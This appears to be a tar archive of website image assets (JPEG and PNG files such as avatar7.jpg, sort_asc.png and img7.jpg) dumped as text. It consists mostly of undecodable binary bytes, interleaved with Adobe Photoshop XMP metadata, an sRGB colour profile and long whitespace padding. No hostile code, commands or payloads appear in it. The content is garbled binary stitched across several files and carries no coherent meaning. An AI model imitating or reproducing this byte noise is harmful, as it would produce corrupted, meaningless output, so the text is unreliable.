������:����W-:��ӫ�-:��҅�bk+�X�Ya��2_�2t����A�/$��6[M/V�|�����l�J�V���~��Te��_������I�[�K}�	P�,p��#ƪۖV�U�f�Y�=�A��������W5t�N�4��4ycAWcE*O�.���c�xb��W�O����7��K���f/����}�?F�ޏ���<��_�ZW�S����'��������_�~��bw�ۋ�h�I��y)�������c�2ÂO�	���C4$hQ�jdTA��)?�ed�D���f/����ޅ�%��r�G�9��h���&��td$,-�cS*uq���7Z���d�;oCN�uqWWuqU�o��:�|�m��k��3#I���d�K͵]?H�R}CM��5�"�����$�Ed�)�Ls�[)$�~�Ĝ~���=Ά\ށ�I閯��7�4wmB�)�LhVQ�͗���{c�k'�2_{���esZ���:0t<]MU�b2���bp<2�⌐b���rj<�ww-�XA٨4�'�Fzg���^q,��K�����K�����T#�G����\^kQܫ2FeD�A#�|����?>؞���$�>$1C���?��G�M��"r#�RK�J8ßHB�v�f�љ����#<���q����E�O�e���1Z���ʿ��JR���u}����o��O�.7�$7��U6�i�\�����<���W�M��9+�ܔ��6�b�qW��i���%�ϝ�7��r��w,V���r�iNr=	I$
R����)�|3'I���d�����V����ެ|��}!3@�I8][�G�==S������G���ݜ���?�p>����������_������}���X�N���cy�HS�H�GәZ-$���?VIp���A%?�t���㰰U����$��?���=��Y�'.�F0�>#������N,��2�Um�^��[DP�7
�*Nqz_guxu�����9e�/�9NJ_���Q	@����qy��zB2�}�Li����mS�9��Єq�O��MZ�#�+�w���Z}R_H�P犵@���ߴݥ�I��./�h��$Ӧ���i%3O!�V��js˵Z���g�Fr=d�!AV��Λ�Ӄo�sE?�����<�oH�p+�����������C^$)��n��_�c�f3���ֱ�z����h���G�C"��^ȼl}f�u��_a_�a�{�t��-R=:�4��ȉ�-IĠ�"$�|�o�<3��VO�d�����浵��]�ԆF(�p�H#�FY�,��J$�C���AV��R���5��l�����d�⚼w	�\��7�N<�F�:ҵ���<\^.^/��ğ��>*�4�{"��YR����+�'#�����d��9�q�d���n�2����P�d;3����fd����J�q���7WuqV�����d�s���i��4�����ⴲZ���1�h��ۡ��_�c�`�cf�Gm���)��f�Mq$?W���y�10������i2����~�{�ys�_��m�۴rI4l��i�H��$z���|m��+���Y?�ރ�U�su:��:��:��:��:��:��:��:��:��8�#�)���$�s�����\
�⮮*��&5�QBÃ|#�۠��_�c�f3��4�M;]�E?��I��/��[���ѩ�K������O�ߞ�C��G�eV.�i��;5Y��Q$%�.��9���o����{X�d��K�z,@�"+���WuqWWuqWWuqWWuqWWp;�#������;�χ��S[��v�8�;V���+K%4�BI��F�G]�/����a1�bV�E���ǤN<�2��k�?N�- ��~�H�x�3|l������#a�y�SdmcG�!t��1��d144Z�}�<W�_����Y?�'���r��9�n�o�ӷ��i���qZv�8�;V���+N���o��b��9�����֧q�?�z�s_������DŽ����DŽ����DŽ���mŀj$���fF�l���a>E��f�=�]y��|�f��G��a<DUH���/NB���y���=�<���S�3�M>�V3`r�;#��ƣ���/���P5���ޏ�=Ȯk�3_�[��|F<%]�|F<%]�|F<%]�|F<%]�|F<%]�|F<%]�|F<%]�|F<%]�|F<%\j7DM������<ލ�ث�Wb�i~c���?�l���A����[����}��J/��2I�'<k���2^OK����o5�]��v*�Uث�Wb��]��uG5��images/avatar7.jpg000060400000032525150710775200010067 0ustar00���qExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 04:54:58��,�,&(.;HH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�/��4���c@�t�VG�<W��vd�m%�.��cv����q�W��XgX7u\�C1(����I��o������z�Z�}����{h�	����z�C[x�W��
�9�{FE,c[�����2-�o�~�1*��]���ۧ"��e����^���ms?W�]A��o�
q�~�������̆�TN�F�-�F��2��l���^��Y��5��@F��9l�_W��o�yw�Wln���>����J�c�jo����ʣ����ێ��vN���K�#��С֝���멨@��w9����;��쮣�2Ymt��7X��\�*`�?�-���7�;�u�h{�Ύ��wlWr��N�ynQ#!�s���sC��QG,g5���1�zi����E��nm�[����Omv9�бznO\�GԳ{�v�����sZ�v1��;��}�朻��h熽��{�+�CkcCkn���
LLTC �"n�wM��6�=�XX��N�k�>w�gw�(�c�[�Y�Ӭd����>��sY��hXC��W�so�\O��l���l~���O�	��c�������9�'#�W�N=�
�k2��W��=W����(bןM�8�Y��+�����������=?�}�����n͍� m��&�k�('
�oR�udbP�eW�KMGR����.�7���VN��l��U�[��6��g�f���_]����}P��
U]M���pEop��};�7����{�~�w��o��������q7l+G���ɏ�L�t��b�_����jPhotoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-2,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIMW,,��;���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�/��4���c@�t�VG�<W��vd�m%�.��cv����q�W��XgX7u\�C1(����I��o������z�Z�}����{h�	����z�C[x�W��
�9�{FE,c[�����2-�o�~�1*��]���ۧ"��e����^���ms?W�]A��o�
q�~�������̆�TN�F�-�F��2��l���^��Y��5��@F��9l�_W��o�yw�Wln���>����J�c�jo����ʣ����ێ��vN���K�#��С֝���멨@��w9����;��쮣�2Ymt��7X��\�*`�?�-���7�;�u�h{�Ύ��wlWr��N�ynQ#!�s���sC��QG,g5���1�zi����E��nm�[����Omv9�бznO\�GԳ{�v�����sZ�v1��;��}�朻��h熽��{�+�CkcCkn���
LLTC �"n�wM��6�=�XX��N�k�>w�gw�(�c�[�Y�Ӭd����>��sY��hXC��W�so�\O��l���l~���O�	��c�������9�'#�W�N=�
�k2��W��=W����(bןM�8�Y��+�����������=?�}�����n͍� m��&�k�('
�oR�udbP�eW�KMGR����.�7���VN��l��U�[��6��g�f���_]����}P��
U]M���pEop��};�7����{�~�w��o��������q7l+G���ɏ�L�t��b�_���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T04:54:58-08:00" xmp:MetadataDate="2014-01-29T04:54:58-08:00" xmp:ModifyDate="2014-01-29T04:54:58-08:00" xmpMM:InstanceID="xmp.iid:9f26a252-4640-cc43-96dd-3ef8453dd594" xmpMM:DocumentID="xmp.did:c1688886-953a-8549-b04c-d0f7214c7e9a" xmpMM:OriginalDocumentID="xmp.did:c1688886-953a-8549-b04c-d0f7214c7e9a" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c1688886-953a-8549-b04c-d0f7214c7e9a" stEvt:when="2014-01-29T04:54:58-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:9f26a252-4640-cc43-96dd-3ef8453dd594" stEvt:when="2014-01-29T04:54:58-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�:v�l����m�ё[��M2�G� �ӽřў��N�O��uD�+9��������:����{��RI��?w�W�nm�J�K[���{�f6��Օ-!
[���9��&�Q�qX;{�@��
���~j�ڜ�"�h�D��C�<����P>ß$L�|�q�y~����Ğ�!*]�|Q�u�7�����.��K�-M����Q����n�JÜב��c�X�)�
�C�.(�����1L>Cs��@+����`F���7��_�W��>O�_���>�Z��?���r�xm���;2v�HK��s>����O�z���w#�����)���2\�ѐ
�=FU<����l%���u�2�1�{]:��ԕ
�H9
o'._�.H���j��k&��d�O?��3Ԗ)�_kڞ��HR���X�N1�#���7��T�KO�U�=�T2�Q��H�x�ĺ���<7����~j�$�F�*x2t��c��y��M7�򿪗4�jʨ��Dsƫ��v�V��jB�F���@x�n(�6�m�Y_VhUU�1g�dp�պ8�)��wӓ���!wqc/$�J�:"�j��������7���O^��u�Vt/�_0�h�W�oGR�׻�PD̬J���'����5�[��~���Ï����π�ow��a1�7���э뷚���u66�7�
*�A�����o$难�����|�IY�>�)#���:�����_�����ǣ�B�)��G�_��N����p�N<{q����I0>(���:n!1��z{�Iݍ���E4P�Q��ه*�=�[�B����ȥ�?�u�x���_��d�=^+ʔ�����h��{q
��~k�q��i��S�R���T�N�9���.3��ʳ�G��_�.�8���[�����<�3�t��a�W��M=�V�������h�ߗ���images/sort_asc.png000060400000035255150710775200010346 0ustar00�PNG


IHDRrP6�	pHYs��9�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:OriginalDocumentID>xmp.did:0180117407206811B382F6C5FEF0E2C4</xmpMM:OriginalDocumentID>
         <xmpMM:DocumentID>xmp.did:82ADC61622C111E1A1F1ADAD5B2A538C</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:834dc036-ff59-ec4d-aaa5-95bb023d9f8c</xmpMM:InstanceID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:0280117407206811B382F6C5FEF0E2C4</stRef:instanceID>
            <stRef:documentID>xmp.did:0180117407206811B382F6C5FEF0E2C4</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:834dc036-ff59-ec4d-aaa5-95bb023d9f8c</stEvt:instanceID>
                  <stEvt:when>2014-01-24T03:14:01-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-24T03:10:13-08:00</xmp:CreateDate>
         <xmp:ModifyDate>2014-01-24T03:14:01-08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2014-01-24T03:14:01-08:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>19</exif:PixelXDimension>
         <exif:PixelYDimension>19</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>�9k0 cHRMz%������u0�`:�o�_�F�IDATx��ҡ
Q��oE�ݦ�j0X�7P|�EA��V�n�}IJ�+�ܲ�"�8a&��9�$�2e��D�c�p4{�-�q��ޮ�BͶ�`�������t��pR6��#[a��F�N$?���
b���>m�`��=�-WIEND�B`�images/green@2x.png000060400000006055150710775200010177 0ustar00�PNG


IHDR`,[�b��IDATx^��mpU�݇�d'$!��"!�h��BTZǙ�)J'G�R���T;�R��:�y��A[�%XA|#2�P�1�B���*�=$�ɉ'����'fg�uv�>�uܿ�k��I�M0W6�$�{���qI��0F��L��66�H��)�8!��6?�CB߷{�������
�\�a�\3�b8�N���/��*�jqP�L�$��4�ҋn��Vlś��L?��U}����o���1�b������O�t��+3�O���g �ه�Ѥ����gc��L�s��=���t�cp��/1eH'c5��c���.��B	��ц�`0���;��v9Kє�a��z,U�l��`�3>� ����-}�3 }}�|��(C�)�bY�A�4���*܅�Q�tS"{��UdS_6EC�K�+��Ё.�X�w:~���0�����z,U ku��d}�
܎jC���P-kV�ԗ!\�w�� 	K�B'�X���3A:�ԗ��Ֆ������B��#�d]_�p-�ڥ��=[�2�g�I�T�a���,웇+�H�<��2���R6`!��BlP�l�;�a*��T��0��2���:�c��b.$¾�(F�R�
�*�c-f!S���Z;K��:��$d*�PǦ�:;a� �q�fa�r�5�6�UX���tf˽���L��L�,�̶���L�D��wš16��P�[����{\�2��8W��@7��z(bm�JLM��6���!,�r<-o�"�yPeS_v��}�1a����GX3��#�<�A��\^�҇N�
D��q�;�-�$k�a�� �5;0�sT�C3*q)J4w���kK_��~�	��uP���a_�|�5y��xH����Z$��֢k5�/����[�"��F�tQ%�64�
����l�� J�v��,�G��|�8?�8}
I��Uv�}H7	4�?P�<��F���.���)�ż/�R�Eǔ��=�ߤp���aXd���a���v������v�?�r&�F؟�q1~�{�!l�1<��}~;�A��/�ݥd-���
p,�;������3��e-��tʵ�o����p4|k�%��^�K4|�BL~(���Z�\�聩��~xe,��[�;�1�w���/kz�l����· SI�5�s���ÅX�����ї5=S��h�{5��'��D�W"Z�nj55�t���^�1ܷo�QL�1
��m�pK�Ͼ4��t:dm��7ܷ7�J��P�ɵ�=�{�N_�
�Z�ᛇ'0
�
_y��lA7S�F�t���\��>�`΅k�m/��g�)���nڑ��4��}�0Oq�u4�!��G��U�h��1|oB���o.;_�2`��lEP��[�Ͼ�j~n&�;�n���A���ڣ����Pe4���� �Ӎw������h�j��tsT��q�W�\�U�����3�w8��)�F���VA7U��:�ּ�ɸ�j��h�j��cX�4��S&����op�L��`����-�W�*��J����C7�M��G6�eԡW.�F��-����h�jهuHȅF����7�_?�gF� �G�"G��c�+�FlG�/�5��$�����������oA7����+E*��+}��n>5��A6f��Y�8fb�	÷&�i��b�]�j|�3_�_8*��n>�����"���ѷG�B�}^�1ط
�iS���x<�]�{q�c7jp$�i�nr١$��3�=?vث}NؼU7}��-+�.Tم>?{}<C��ױw��G��'ةX[���l�$lq���1\�s��;$#q#Nu�6�x,��+v�+�p`:�}t{�g�>\�w0X��L��ޱW"��k�;u߯�F1��`5x_"�����9U،I�G�wȾ��8���2��+�j���t�j��^׺�߷�n��W�ʵЭ�W�sy@㻡
�N�����ư/��\[��ɾ�=���h��2�c���i�t�+KqLe���.�@����E�\K�o� C?��@L�@��J��Mb��\K����K��2|����|��7�:�:��fX
���*���x��镧1�}S���`����Q��;eS_y��bg��ЄB��{#��D�#�e�NF�Y��r�3������o��V/G����x��D�}}��|6� ��8�����]XU�FF�|��4�*O�+���4�!_�z�|�������M}���up���.�@�+�Olč�ۇ�&@�3�3\�Ɂ���
�A��цz8i�vh�<�r��$k�nE��c*���i��PU�x=[�:8�0F}�Ŀ�pe��� �9P߱83���Ar{Ϭ���e(�0Q�X���(��;��־qlN�x�¥��b�b�6]�_'�����/��A��c&!�i�D���Ds�ƾQ�[�l���<�5P�ھ혀)i�����D�M}��}<�Pƭ��};�t��W�lD��Q�}7c/2��؜m}<�.�-��M"��ہ–v��W!���2��	(b}�$���Tޓ{&m���W��A�"l�}���&�
B��M}y�&}��+tV`�Ћ�}�шV�V<�~��2|��:r�Y<���.tr��};�o�"ҥæ��Cb!��(L瘬�P1��o��q�N\�ބ�-}�������r��4HE��ی�촠�����l<�����U.k+��}۰�e���fS_�?�)pw�����õ�]񉱵�6c>G��9�I�[�������Q,�D,�!�'0�����R���&,�6�y�p��Zq���Q3#�c=*p��� �a:���z�W��"�ݍ4ɟ�D����w�	
�mS_/}���Q�ixM��_ȵ&y�i(�bY#���7�-x�Ќ=�_!)��k{ЌU�1[�&�͇[X-,�u}��%��������C�O�7�.���/��G2<P"�H��T*�%�D2�IH$�D����8�IEND�B`�images/img7.jpg000060400000044263150710775200007367 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:26 00:19:26����a&(.
�HH���Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�j��x@���{�X�2��,��̑�F��Q�p���G���3�`��Տ����6��N�fc�cN��D�B�Hr�n�]!GrT�q2:%o�5Y9_V� .�ALX‡M���_����T�"avNŭݐ_���2X� ���5/,,�\KJ�쾋U�#j�󾨵�Z�)&�Ŷ��bǓ
�k�^���T�Oȡ��Šl�cdXA亞��s.+�^���2���H^"�����}MH$�����������mT�Pj��t|la�W������])G���g�(�g���k�CwQq�!;E��5}�H�K|�컝�
�w$��U�^k�!Y'B��-pࠫmg�e0��2��;3�~���D���^<S+��6�B�ѫ>�(�V�rI-0t)nAH߇S�G'����-=�nJ�o)��bd�af[�s�:x.�y�[��H�Ϯ��V���K���$�OsG�����6�uJ��c{YӺ�I���iy��x�ɒ9�*춫E�ά���O/���Ta�-��9y�H���tWk�n8�o1�e�tϯ?V��my�3!ݬֲ����W|98)��Ŵ��I�YQ�#��Ի��r�䔒R�=�$�a�pa�6��}꼧ܒ[_ik��l���?�i�*��*�e�+iw�$�d�h�
���4:5f��/�g�yWE�����%�܆�-K:uղ������Ϥ�9̉��R!A�~� ���������x �|J��'ܑ���w�8�q�%TΤU`��4��M,�SԾ���8��-�i�,�c
�̚�?�	o���~�uں�N8yPs�:y}�b������,����/��Nx��eيy��K��t�t�^��"�������P���վ�et�}|W���0��X��\[���.�r�of�ZH�X�-pj��?;��a='6����y��^���6ʝ�֚�����*,��}Xv�U�[8Y~�t�
�{:�(������y����8�=��,�/��W��s�)�����j�1zV#��}_��ڇ0����1!�is���x*�=7*�_=O��kWUu
��0x��*�5�z���y{���\
kD4��	��X���Tr��9ټYgfW���H�7\;�t}-<<��2��]}��
}�_�>�亇֎�{�����Q�i|��-�W���`gf�[rH�#�\�\7x���3�.K�}pcoO������K��_J���9��i�4��`�֭|���
w��4n5̸�����V��~���a��D�BGR�b�s�I?�e�M������RJ��?����t�Y��:��~k&t���=#���OP�?�����o����/m�G��S��wUsf;��s���k�]����/�~��|af�i<2���J"��vQ]�,{C��C�x �XY�Wqrk�
��}�y�5����tP�m,��[�:�9p�K|é�Q�s�轸}F��[�v�����z���}_h����t/_��̆���@{�#Ż��:u74��HR�'�i���a����ռ~V9iP��k�gOͻ��kYY��v�]�]S����.s=�=��X�}[�8�W!���?�*��M!x�.�Y~�VNE7�u@�+g�x�"�]����_�����zgYpۑ�Y<����zޣ�Z�š���'q�!Z�>U�G�u�1�/i��F�+�ZH��E��=ޥ��8����ٺ�gض��X���s����cB�ڛ٣�Tx	�u��GM¨����cN�|����v�Kkom�?�1��L(�����ZI+W���!�����Z�����oބ�]��V�.
ԘIf8�L��������9c���3�u/Xm;\�Bf�(��0F��%&�\a����u~��l�~��6�ysG]H^к��#�חQ Lj^�Ӻ�'Pï*��x�x��uo@<�ja�!��P����+l�����^�GIٶ4P7X�\P����\M�U)%:V�����,wt$�2.q䤣)�%.�iM))���:������r��w�a���	l��¦�K�ݗ�}H��>k�RM*;>���$����|��J~�	��$���r�xI%?C�_<�����_<�����_<�������Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMIa�
Untitled-2�anullboundsObjcRct1Top longLeftlongBtomlongaRghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongaRghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM
��a���
����Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�j��x@���{�X�2��,��̑�F��Q�p���G���3�`��Տ����6��N�fc�cN��D�B�Hr�n�]!GrT�q2:%o�5Y9_V� .�ALX‡M���_����T�"avNŭݐ_���2X� ���5/,,�\KJ�쾋U�#j�󾨵�Z�)&�Ŷ��bǓ
